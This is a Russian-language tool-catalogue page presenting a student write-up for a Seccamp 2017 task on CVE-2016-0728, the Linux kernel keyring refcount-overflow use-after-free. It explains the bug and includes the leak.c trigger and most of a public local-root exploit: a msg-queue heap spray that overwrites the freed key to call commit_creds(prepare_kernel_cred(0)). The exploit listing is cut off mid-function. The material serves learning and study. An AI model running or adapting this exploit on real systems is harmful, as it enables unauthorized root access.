Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2016-0728 — Образовательный эксплойт для ядра Linux, использующий CVE-2016-0728 (use-after-free в службе хранения ключей), с подробным анализом, PoC-кодом и обсуждением мер защиты от повышения привилегий. | Kitploit
Инструменты/GitHubGitHub/hal0taso/cve-2016-0728
Повышение привилегийАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubhal0taso/cve-2016-0728

CVE-2016-0728

Образовательный эксплойт для ядра Linux, использующий CVE-2016-0728 (use-after-free в службе хранения ключей), с подробным анализом, PoC-кодом и обсуждением мер защиты от повышения привилегий.

Репозиторий
129 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2016-0728

Seccamp 2017 Задание

Следующая программа эксплуатирует уязвимость, существующую в ядре Linux с версий 3.8 по 4.4. Опишите проблемы, возникающие при выполнении этой программы. Кроме того, напишите эксплойт, который использует эту уязвимость для повышения привилегий до root, и объясните среду тестирования, а также моменты, на которые вы обратили внимание. Кроме того, перечислите как можно больше методов смягчения таких атак и объясните их. Не обязательно полностью понимать; опишите своими словами информацию, которую вы поняли, процесс попыток, ваши ощущения и т.д. Также, если есть ссылки на сайты или литературу, укажите их источники.

#include <stddef.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <keyutils.h>  
 
int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;
 
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
        perror("keyctl");
        return -1;
    }
 
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
 
    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
 
    return 0;
}

Введение

Среда тестирования следующая:

$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty

Я впервые узнал об этой уязвимости, но опишу то, что выяснил в ходе исследования, и то, что попробовал в процессе. Сначала объясню службу хранения ключей, используемую в этой программе, затем уязвимость Use-After-Free, которую эксплуатирует данная программа, и её причину в программе, а также опишу, какие проблемы возникают. Эта уязвимость зарегистрирована как CVE-2016-0728, а её обзор был взят со следующего сайта:

http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

Также, поскольку я впервые узнал о службе хранения ключей Linux, использовал веб-страницу IBM «Введение в службу хранения ключей Linux»

https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html

и исходный код ядра Linux 3.19 среды тестирования

https://www.kernel.org/

Для отправки сообщений ядра на хост-ОС по сети использовал книгу DEBUG HACKS - Техники и инструменты для отладки (O'REILLY)

в качестве справочного материала.

Эта программа (далее называемая leak.c) эксплуатирует ошибку в службе хранения ключей Linux, что приводит к уязвимости Use-After-Free. Уязвимость Use-After-Free позволяет выполнить произвольный код, если из-за несоответствия программы происходит обращение к освобождённому адресу кучи. Сначала объясню системный вызов keyctl(), используемый этой программой, и опишу, какая ошибка в нём существует.

Каждый процесс может создать для текущей сессии своё кольцо ключей с помощью системного вызова keyctl(KEYCTL_JOIN_SESSION_KEYRING, name). Это кольцо ключей можно сделать общим между процессами, ссылаясь на его имя name. Если процесс уже имеет кольцо сессионных ключей, этот системный вызов заменяет его новым кольцом. Чтобы лучше понять эту операцию, я обратился к функции join_session_keyring в исходном коде ядра по пути /security/keys/process_keys.c. Она выглядит следующим образом. При замене сессионного кольца на новое функция key_put пропускается. Функция key_put уничтожает ссылку на переданное ей кольцо. Пропуская её, ссылка на новое кольцо остаётся, что приводит к уязвимости Use-After-Free.

Когда это кольцо является общим между процессами, внутренний счётчик ссылок, хранящийся в члене usage структуры key, увеличивается. Член usage имеет тип atomic_t, который на самом деле определён как typedef от структуры, содержащей одну переменную int. Кроме того, механизм предотвращения переполнения этого члена отсутствует, поэтому, увеличивая этот член, можно переполнить его до нуля и продолжать ссылаться. Когда член usage достигает нуля, сборщик мусора внутри подсистемы ключей освобождает это кольцо. Разместив в освобождённой области из пользовательского пространства другой произвольный модуль ядра, можно выполнить этот код с привилегиями ядра.

На справочном сайте при компиляции leak.c с библиотекой keyutils и выполнении, в /proc/keys появляется сессионное кольцо leaked_key, показывающее, что на него ссылались 100 раз. Было проверено, что до и после выполнения этой программы leaked-keyring отображается следующим образом:

# Перед выполнением
$ cat /proc/keys
$ ./leak
# После выполнения
$ cat /proc/keys
0fd435e9 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty

Однако в среде тестирования leaked-keyring не отображался. Когда я попробовал изменить условие цикла for на большое число, например i < 0x1000000, leaked-keyring отображался во время выполнения программы. В данном случае атака срабатывает при переполнении члена usage, освобождении key и размещении там нового объекта ядра. Поэтому я решил попробовать это на практике. Код эксплойта был взят со следующего сайта:

https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
	const char *keyring_name;
	size_t i = 0;
    unsigned long int l = 0x100000000/2;
	key_serial_t serial = -1;
	pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    
struct { long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	int msqid;

	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

	/* Set the new session keyring before we start */

	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
	if (serial < 0) {
		perror("keyctl");
		return -1;
    }
	
	if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
		perror("keyctl");
		return -1;
	}
Скачать инструмент